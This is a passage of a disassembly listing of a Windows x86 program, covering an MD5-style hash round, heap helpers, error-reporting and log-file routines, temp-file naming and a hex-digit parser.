		shr	edx, 11h
		shl	eax, 0Fh
		or	edx, eax
		lea	eax, [ebp+var_8]
		add	edx, ecx
		push	edx
		push	eax
		mov	[ebp+var_C], edx
		call	sub_4D8280
		push	6FA87E4Fh
		push	6
		push	[ebp+var_30]
		lea	eax, [ebp+var_4]
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	eax
		call	sub_4D8280
		push	0FE2CE6E0h
		push	0Ah
		push	[ebp+var_14]
		lea	eax, [ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	eax
		call	sub_4D8280
		add	esp, 54h
		push	0A3014314h
		push	0Fh
		push	[ebp+var_38]
		lea	eax, [ebp+var_C]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_10]
		push	eax
		call	sub_4D8280
		push	4E0811A1h
		push	15h
		push	[ebp+var_1C]
		lea	eax, [ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	eax
		call	sub_4D8280
		push	0F7537E82h
		push	6
		push	[ebp+var_40]
		lea	eax, [ebp+var_4]
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	eax
		call	sub_4D8280
		add	esp, 54h
		lea	eax, [ebp+var_10]
		push	0BD3AF235h
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	eax
		call	sub_4D8280
		push	2AD7D2BBh
		push	0Fh
		push	[ebp+var_48]
		lea	eax, [ebp+var_C]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_10]
		push	eax
		call	sub_4D8280
		push	0EB86D391h
		push	15h
		push	[ebp+var_2C]
		lea	eax, [ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	eax
		call	sub_4D8280
		mov	eax, [ebp+var_4]
		add	esp, 54h
		add	[esi], eax
		mov	eax, [ebp+var_8]
		add	[esi+4], eax
		mov	eax, [ebp+var_C]
		add	[esi+8], eax
		mov	eax, [ebp+var_10]
		add	[esi+0Ch], eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4D79D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D8280	proc near		; CODE XREF: sub_4D79D8+79Cp
					; sub_4D79D8+7B8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_C]
		mov	edx, [ebp+arg_0]
		not	eax
		or	eax, [ebp+arg_4]
		push	esi
		push	20h
		xor	eax, [ebp+arg_8]
		pop	ecx
		sub	ecx, [ebp+arg_14]
		add	eax, [edx]
		add	eax, [ebp+arg_10]
		add	eax, [ebp+arg_18]
		mov	esi, eax
		shr	esi, cl
		mov	ecx, [ebp+arg_14]
		shl	eax, cl
		or	esi, eax
		add	esi, [ebp+arg_4]
		mov	[edx], esi
		pop	esi
		pop	ebp
		retn
sub_4D8280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D82B3	proc near		; CODE XREF: sub_4D785D+F2p
					; sub_4D785D+12Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jbe	short loc_4D82F6
		mov	edx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_4D82CB:				; CODE XREF: sub_4D82B3+40j
		mov	dl, [ecx]
		mov	[eax-1], dl
		mov	edx, [ecx]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		add	ecx, 4
		lea	edx, [esi+eax]
		cmp	edx, [ebp+arg_8]
		jb	short loc_4D82CB
		pop	esi


loc_4D82F6:				; CODE XREF: sub_4D82B3+7j
		pop	ebp
		retn	0Ch
sub_4D82B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D82FA	proc near		; CODE XREF: sub_4D79D8+2Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jbe	short loc_4D833E
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	esi
		push	edi
		push	0FFFFFFFEh
		lea	eax, [edx+2]
		pop	esi
		sub	esi, edx


loc_4D8313:				; CODE XREF: sub_4D82FA+40j
		movzx	edi, byte ptr [eax-1]
		xor	edx, edx
		mov	dh, [eax+1]
		mov	dl, [eax]
		add	eax, 4
		shl	edx, 8
		or	edx, edi
		movzx	edi, byte ptr [eax-6]
		shl	edx, 8
		or	edx, edi
		mov	[ecx], edx
		lea	edx, [esi+eax]
		add	ecx, 4
		cmp	edx, [ebp+arg_8]
		jb	short loc_4D8313
		pop	edi
		pop	esi


loc_4D833E:				; CODE XREF: sub_4D82FA+7j
		pop	ebp
		retn	0Ch
sub_4D82FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D8342	proc near		; CODE XREF: _4:004CEC71p _4:004CEC92p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	0
		push	0
		push	0
		push	[ebp+var_4]
		call	ds:dword_4E1778	; RaiseException
		leave
		retn
sub_4D8342	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D835A	proc near		; CODE XREF: sub_4CD2E0+3C8p
					; _4:004CEE70p	...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		call	sub_4D8397
		mov	[ebp+var_8], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_4D8371
		xor	eax, eax
		jmp	short locret_4D8395
; ---------------------------------------------------------------------------


loc_4D8371:				; CODE XREF: sub_4D835A+11j
		push	[ebp+arg_0]
		push	8
		push	[ebp+var_8]
		call	ds:dword_4E1740	; RtlAllocateHeap
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4D8392
		mov	ecx, 0EF000009h
		call	sub_4D8342


loc_4D8392:				; CODE XREF: sub_4D835A+2Cj
		mov	eax, [ebp+var_4]

locret_4D8395:				; CODE XREF: sub_4D835A+15j
		leave
		retn
sub_4D835A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D8397	proc near		; CODE XREF: sub_4D835A+5p
					; sub_4D83DD:loc_4D83E9p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_4E1A44, 0
		jnz	short loc_4D83C0
		push	0
		push	10000h
		push	0
		call	ds:dword_4E1748	; HeapCreate
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ds:dword_4E1A44, eax
		jmp	short loc_4D83C8
; ---------------------------------------------------------------------------


loc_4D83C0:				; CODE XREF: sub_4D8397+Bj
		mov	eax, ds:dword_4E1A44
		mov	[ebp+var_4], eax


loc_4D83C8:				; CODE XREF: sub_4D8397+27j
		cmp	[ebp+var_4], 0
		jnz	short loc_4D83D8
		mov	ecx, 0EF00000Dh
		call	sub_4D8342


loc_4D83D8:				; CODE XREF: sub_4D8397+35j
		mov	eax, [ebp+var_4]
		leave
		retn
sub_4D8397	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D83DD	proc near		; CODE XREF: _4:004CE1FEp
					; sub_4CF00C+10p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_4D83E9
		jmp	short locret_4D83FF
; ---------------------------------------------------------------------------


loc_4D83E9:				; CODE XREF: sub_4D83DD+8j
		call	sub_4D8397
		mov	[ebp+var_4], eax
		push	[ebp+arg_0]
		push	0
		push	[ebp+var_4]
		call	ds:dword_4E1744	; RtlFreeHeap

locret_4D83FF:				; CODE XREF: sub_4D83DD+Aj
		leave
		retn
sub_4D83DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D8401	proc near		; CODE XREF: sub_4D848C+64p
					; sub_4D84F7+3Ap

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	0
		push	0
		call	ds:dword_4E17C4	; ChangeDisplaySettingsA
		push	10h
		push	ds:off_4DE4F4
		push	[ebp+var_4]
		push	0
		call	ds:dword_4E17D0	; MessageBoxA
		push	0
		call	ds:dword_4E16E4	; GetCurrentProcess
		push	eax
		call	ds:dword_4E1798	; TerminateProcess
		leave
		retn
sub_4D8401	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D8436	proc near		; CODE XREF: sub_4D848C+52p
					; sub_4D848C+5Cp ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE500
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_1C], ecx
		and	[ebp+var_4], 0
		push	[ebp+var_1C]
		call	sub_4D8538
		pop	ecx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4D847D
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh


loc_4D847D:				; CODE XREF: sub_4D8436+3Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4D8436	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D848C	proc near		; CODE XREF: sub_4CF036+C4p
					; sub_4CF94C+CDp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	offset dword_4E1A28
		call	ds:dword_4E16C4	; RtlEnterCriticalSection
		mov	[ebp+var_8], offset dword_4E1A48
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset aErrorAtSDReaso ; "Error	at %s:%d\n\nReason: "
		push	[ebp+var_8]
		call	ds:dword_4E17D4	; wsprintfA
		add	esp, 10h
		mov	[ebp+var_C], eax
		lea	eax, [ebp+arg_C]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_8]
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4E17D8	; wvsprintfA
		and	[ebp+var_4], 0
		mov	ecx, [ebp+var_8]
		call	sub_4D8436
		mov	ecx, offset asc_4E0D5C ; "\n"
		call	sub_4D8436
		mov	ecx, [ebp+var_8]
		call	sub_4D8401
		leave
		retn
sub_4D848C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D84F7	proc near		; CODE XREF: sub_4D4AB0+128p
					; sub_4DDAB0+8p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_8], offset dword_4E1A48
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	[ebp+var_8]
		call	ds:dword_4E17D8	; wvsprintfA
		and	[ebp+var_4], 0
		mov	ecx, [ebp+var_8]
		call	sub_4D8436
		mov	ecx, offset asc_4E0D5C ; "\n"
		call	sub_4D8436
		mov	ecx, [ebp+var_8]
		call	sub_4D8401
		leave
		retn
sub_4D84F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D8538	proc near		; CODE XREF: sub_4D8436+30p
					; sub_4D8726+74p ...

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE510
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		push	offset dword_4E1A28
		call	ds:dword_4E16C4	; RtlEnterCriticalSection
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		mov	eax, offset dword_4CD720
		mov	eax, [eax+4]
		mov	eax, [eax+78h]
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	loc_4D86AD
		push	400h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_30]
		mov	[ebp+var_1C], eax
		push	0
		call	ds:dword_4E1718	; GetModuleHandleA
		mov	ecx, offset dword_4CD720
		mov	ecx, [ecx+4]
		mov	[ecx+7Ch], eax
		mov	eax, offset dword_4CD720
		mov	eax, [eax+4]
		cmp	dword ptr [eax+7Ch], 0
		jnz	short loc_4D85C2
		jmp	loc_4D86F6
; ---------------------------------------------------------------------------


loc_4D85C2:				; CODE XREF: sub_4D8538+83j
		push	400h
		push	[ebp+var_1C]
		mov	eax, offset dword_4CD720
		mov	eax, [eax+4]
		push	dword ptr [eax+7Ch]
		call	ds:dword_4E1714	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_4D85E4
		jmp	loc_4D86F6
; ---------------------------------------------------------------------------


loc_4D85E4:				; CODE XREF: sub_4D8538+A5j
		mov	edi, [ebp+var_1C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_24], ecx
		push	offset aUp_txt	; "-up.txt"
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_24]
		push	eax
		call	ds:dword_4E17D4	; wsprintfA
		pop	ecx
		pop	ecx
		push	0
		push	80h
		push	2
		push	0
		push	1
		push	40000000h
		push	[ebp+var_1C]
		call	ds:dword_4E16A8	; CreateFileA
		mov	ecx, offset dword_4CD720
		mov	ecx, [ecx+4]
		mov	[ecx+78h], eax
		mov	eax, offset dword_4CD720
		mov	eax, [eax+4]
		mov	eax, [eax+78h]
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_4D8648
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4D8690


loc_4D8648:				; CODE XREF: sub_4D8538+108j
		push	offset aUp1_txt	; "-up1.txt"
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_24]
		push	eax
		call	ds:dword_4E17D4	; wsprintfA
		pop	ecx
		pop	ecx
		push	0
		push	80h
		push	2
		push	0
		push	1
		push	40000000h
		push	[ebp+var_1C]
		call	ds:dword_4E16A8	; CreateFileA
		mov	ecx, offset dword_4CD720
		mov	ecx, [ecx+4]
		mov	[ecx+78h], eax
		mov	eax, offset dword_4CD720
		mov	eax, [eax+4]
		mov	eax, [eax+78h]
		mov	[ebp+var_20], eax


loc_4D8690:				; CODE XREF: sub_4D8538+10Ej
		cmp	[ebp+var_20], 0
		jz	short loc_4D869C
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4D869E


loc_4D869C:				; CODE XREF: sub_4D8538+15Cj
		jmp	short loc_4D86F6
; ---------------------------------------------------------------------------


loc_4D869E:				; CODE XREF: sub_4D8538+162j
		push	2
		push	0
		push	0
		push	[ebp+var_20]
		call	ds:dword_4E1788	; SetFilePointer


loc_4D86AD:				; CODE XREF: sub_4D8538+4Aj
		cmp	[ebp+var_20], 0FFFFFFFFh
		jz	short loc_4D86E7
		push	0
		lea	eax, [ebp+var_28]
		push	eax
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	[ebp+arg_0]
		push	[ebp+var_20]
		call	ds:dword_4E17BC	; WriteFile
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	[ebp+var_28], ecx
		jz	short loc_4D86E7
		jmp	short loc_4D86F6
; ---------------------------------------------------------------------------


loc_4D86E7:				; CODE XREF: sub_4D8538+179j
					; sub_4D8538+1ABj ...
		push	0FFFFFFFFh
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		jmp	short loc_4D8717
; ---------------------------------------------------------------------------


loc_4D86F6:				; CODE XREF: sub_4D8538+85j
					; sub_4D8538+A7j ...
		and	[ebp+var_2C], 0
		jmp	short loc_4D86E7
; ---------------------------------------------------------------------------


loc_4D86FC:				; DATA XREF: _5:004DE518o
		push	offset dword_4E1A28
		call	ds:dword_4E1754	; RtlLeaveCriticalSection
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_34], eax
		push	[ebp+var_34]
		call	sub_4D83DD
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4D8717:				; CODE XREF: sub_4D8538+1BCj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4D8538	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D8726	proc near		; CODE XREF: sub_4D0C5C+345p
					; sub_4D8C27+1Dp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

; FUNCTION CHUNK AT 004D87BB SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE520
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		push	1000h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_20], eax
		push	[ebp+var_20]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		call	ds:dword_4E17D8	; wvsprintfA
		mov	[ebp+var_24], eax
		push	offset asc_4E0D90 ; "\r\n"
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_24]
		push	eax
		call	ds:dword_4E17D4	; wsprintfA
		pop	ecx
		pop	ecx
		and	[ebp+var_20], 0
		push	[ebp+var_1C]
		call	sub_4D8538
		pop	ecx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4D87AB
		jmp	short loc_4D87BB
sub_4D8726	endp


; =============== S U B	R O U T	I N E =======================================



sub_4D87AB	proc near		; CODE XREF: sub_4D8726+7Ep
					; DATA XREF: _5:004DE528o
		mov	eax, [ebp-1Ch]
		mov	[ebp-2Ch], eax
		push	dword ptr [ebp-2Ch]
		call	sub_4D83DD
		pop	ecx
		retn
sub_4D87AB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4D8726


loc_4D87BB:				; CODE XREF: sub_4D8726+83j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_4D8726

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D87CA	proc near		; CODE XREF: sub_4D61E1+D39p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004D8883 SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE530
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_1C], 0
		and	[ebp+var_20], 0
		and	[ebp+var_4], 0
		push	1000h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_1C], eax
		push	0
		push	0
		lea	eax, [ebp+var_20]
		push	eax
		push	400h
		call	ds:dword_4E1710	; RtlGetLastWin32Error
		push	eax
		push	0
		push	1300h
		call	ds:dword_4E16DC	; FormatMessageA
		cmp	[ebp+var_20], 0
		jz	short loc_4D8859
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	[ebp+var_20]
		push	offset aWindowsErrorSA ; "windows error	%s\n  at %s(%d)\n"
		push	[ebp+var_1C]
		call	ds:dword_4E17D4	; wsprintfA
		add	esp, 14h
		push	[ebp+var_1C]
		call	sub_4D8538
		pop	ecx


loc_4D8859:				; CODE XREF: sub_4D87CA+6Aj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4D8864
		jmp	short loc_4D8883
sub_4D87CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4D8864	proc near		; CODE XREF: sub_4D87CA+93p
					; DATA XREF: _5:004DE538o
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_4D8873
		push	dword ptr [ebp-20h]
		call	ds:dword_4E1764	; LocalFree


loc_4D8873:				; CODE XREF: sub_4D8864+4j
		mov	eax, [ebp-1Ch]
		mov	[ebp-28h], eax
		push	dword ptr [ebp-28h]
		call	sub_4D83DD
		pop	ecx
		retn
sub_4D8864	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4D87CA


loc_4D8883:				; CODE XREF: sub_4D87CA+98j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_4D87CA

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D8892	proc near		; CODE XREF: sub_4D58CF+A2p
					; sub_4D61E1+1F4p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		movzx	eax, ds:byte_4E1A40
		and	eax, 1
		test	eax, eax
		jnz	short loc_4D88BE
		mov	al, ds:byte_4E1A40
		or	al, 1
		mov	ds:byte_4E1A40,	al
		call	ds:dword_4E16E8	; GetCurrentProcessId
		mov	ds:dword_4E1A20, eax


loc_4D88BE:				; CODE XREF: sub_4D8892+13j
		cmp	[ebp+arg_8], 0
		jnz	short loc_4D88CE
		mov	eax, ds:dword_4E1A20
		mov	[ebp+var_10], eax
		jmp	short loc_4D88D4
; ---------------------------------------------------------------------------


loc_4D88CE:				; CODE XREF: sub_4D8892+30j
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_10], eax


loc_4D88D4:				; CODE XREF: sub_4D8892+3Aj
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		push	124h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		push	49h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_4]
		rep stosd
		push	[ebp+var_4]
		push	104h
		call	ds:dword_4E1734	; GetTempPathA
		movzx	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4D8948
		mov	eax, ds:dword_4E5A48
		inc	eax
		mov	ds:dword_4E5A48, eax
		push	ds:dword_4E5A48
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	offset aMbx@X@X@X_ ; "MBX@%X@%X@%X.###"
		mov	edi, [ebp+var_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	eax, [ebp+var_4]
		add	eax, ecx
		push	eax
		call	ds:dword_4E17D4	; wsprintfA
		add	esp, 14h
		jmp	short loc_4D899B
; ---------------------------------------------------------------------------


loc_4D8948:				; CODE XREF: sub_4D8892+7Aj
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_4D8977
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	offset aMbx@X@X_ ; "MBX@%X@%X.###"
		mov	edi, [ebp+var_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	eax, [ebp+var_4]
		add	eax, ecx
		push	eax
		call	ds:dword_4E17D4	; wsprintfA
		add	esp, 10h
		jmp	short loc_4D899B
; ---------------------------------------------------------------------------


loc_4D8977:				; CODE XREF: sub_4D8892+BAj
		push	[ebp+var_8]
		push	offset aMbx@X@_	; "MBX@%X@*.###"
		mov	edi, [ebp+var_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	eax, [ebp+var_4]
		add	eax, ecx
		push	eax
		call	ds:dword_4E17D4	; wsprintfA
		add	esp, 0Ch


loc_4D899B:				; CODE XREF: sub_4D8892+B4j
					; sub_4D8892+E3j
		mov	edi, [ebp+var_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	[ebp+var_4]
		call	ds:dword_4E17C8	; CharUpperBuffA
		mov	eax, [ebp+var_4]
		pop	edi
		leave
		retn
sub_4D8892	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D89B8	proc near		; CODE XREF: sub_4D8A16+E1p
					; sub_4D8A16+150p

arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		movzx	eax, [ebp+arg_0]
		cmp	eax, 30h
		jl	short loc_4D89D6
		movzx	eax, [ebp+arg_0]
		cmp	eax, 39h
		jg	short loc_4D89D6
		movzx	eax, [ebp+arg_0]
		sub	eax, 30h
		jmp	short loc_4D8A14
; ---------------------------------------------------------------------------


loc_4D89D6:				; CODE XREF: sub_4D89B8+Aj
					; sub_4D89B8+13j
		movzx	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	short loc_4D89F1
		movzx	eax, [ebp+arg_0]
		cmp	eax, 46h
		jg	short loc_4D89F1
		movzx	eax, [ebp+arg_0]
		sub	eax, 37h
		jmp	short loc_4D8A14
; ---------------------------------------------------------------------------


loc_4D89F1:				; CODE XREF: sub_4D89B8+25j
					; sub_4D89B8+2Ej
		movzx	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	short loc_4D8A0C
		movzx	eax, [ebp+arg_0]
		cmp	eax, 66h
		jg	short loc_4D8A0C
		movzx	eax, [ebp+arg_0]
		sub	eax, 57h
		jmp	short loc_4D8A14
; ---------------------------------------------------------------------------


loc_4D8A0C:				; CODE XREF: sub_4D89B8+40j
					; sub_4D89B8+49j
		mov	eax, [ebp+arg_4]
		mov	byte ptr [eax],	1
		xor	eax, eax


loc_4D8A14:				; CODE XREF: sub_4D89B8+1Cj
					; sub_4D89B8+37j ...
		pop	ebp
		retn
sub_4D89B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D8A16	proc near		; CODE XREF: sub_4D153F+2DEp

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE540
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 40h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		cmp	[ebp+arg_0], 0
		jz	loc_4D8BF5
		call	ds:dword_4E16E8	; GetCurrentProcessId
		mov	[ebp+var_1C], eax
		push	5Ch
		push	[ebp+arg_0]
		call	sub_4CC700
		pop	ecx
		pop	ecx
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_4D8A71
		mov	eax, [ebp+var_24]
		inc	eax
		mov	[ebp+arg_0], eax
